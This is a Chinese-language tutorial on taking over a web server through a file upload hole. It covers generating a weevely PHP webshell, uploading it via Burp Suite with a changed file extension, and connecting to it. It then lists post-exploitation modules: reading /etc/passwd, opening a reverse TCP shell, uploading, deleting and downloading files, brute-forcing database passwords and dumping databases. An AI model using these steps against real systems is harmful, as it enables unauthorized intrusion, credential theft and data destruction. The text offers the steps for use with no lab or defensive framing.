利用文件上传漏洞远程控制服务器
1. 生成木马
weevely generate 1234 /123.php
这是weevely工具自己生成的木马,而不是自己编写的一句话木马
注意 1234是密码 ,,/ccq/abc.php是生成的文件,如果存在会覆盖,不存在会新建文件。
2. 更改木马后缀名
3. 利用burpsuit上传木马
浏览器设置代理
burpsuits正常抓包
添加文件
抓取数据
更改后缀名
转发
查看木马位置
4. 连接木马
成功连接
双击tab补全命令
5. 执行任意命令
在虚拟终端模式下需要使用模块直接在前面加上 ’:’ 即可
全局操作
-audit.userfiles -枚举用户目录下的具有权限的文件(可加载用户字典),默认情况下字典很小(注意:该模块目前只支持linux,windows不支持) -audit.systemfiles [logs|root|home|…] -枚举各种系统目录并寻找可读写的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等等(注意:该模块也仅支持linux,windows不支持) -audit.phpconf -查看php配置信息 -audit.etcpasswd [-real] -查看/etc/passwd文件(特殊说明:很多命令的-vector参数是用以指定php执行命令函数的,当默认函数不可用是,使用该参数来尝试指定其他命令执行函数来获取信息),同时也可使用-real参数来过滤出真实用户 -audit.mapwebfiles -从指定url开始爬取目标站点结构,可用-depth参数来指定爬取深度
系统操作
-shell.sh/shell.php -利用接口执行命令,和虚拟终端类似,这里就不给演示了 -system.info -在weevely里比较由用的一个模块,可以获取到系统的基本信息 -backdoor.reverstcp host port [-vector] -反弹一个tcp shell到目标端口(同样也可指定向量:选择反弹shell的形式,nc,perl,ruby等) -backdoor.tcp -port <listen_port> -no-connect [-vector] -在本地打开一个端口,等待连接(查看了该模块的源码,使用时必须带上-no-connect才能监听成功,负责他会在本地形成一个tcp环路) -net.ifaces -查看网络ip地址
文件操作
-file.upload lpath rpath -上传本地文件到目标站点指定路径 -file.rm filename [-recursive] [-vector] -删除指定文件,可开启安全确认模式 -file.check -用以检查目标站点下文件的状态(md5值,大小,权限等) -file.download rpath lpath [-vector] -将目标站点上的文件下载到本地(可用于批量会话操作) -file.edit filename -对指定文件进行编辑 -file.read filename -读取指定文件内容 -file.ls path -列觉指定路径的文件信息 -file.upload2web -将本地文件上传至目标站点文件夹(可自动枚举到一个可写目录将其写入) -file.webdownload <webfile_path> filename -从其他服务器上下载文件到目标站点 -file.touch rpath
-创建一个新文件
下面几个命令由于环境限制,没有进行测试
-bruteforce.sql(爆破指定数据库用户名密码) -bruteforce.sqlusers(爆破所有数据库用户密码) -sql.dump(脱裤,你懂的 ^_^) -sql.console(sql交互式终端) -net.scan(端口扫描,不太会用) -find.perms(搜索具有读、写、执行权限的文件,好像比较给力) -find.suidsgid(搜索linux具有suid或者sgid标记的文件) -find.name(查找某文件或者文件夹)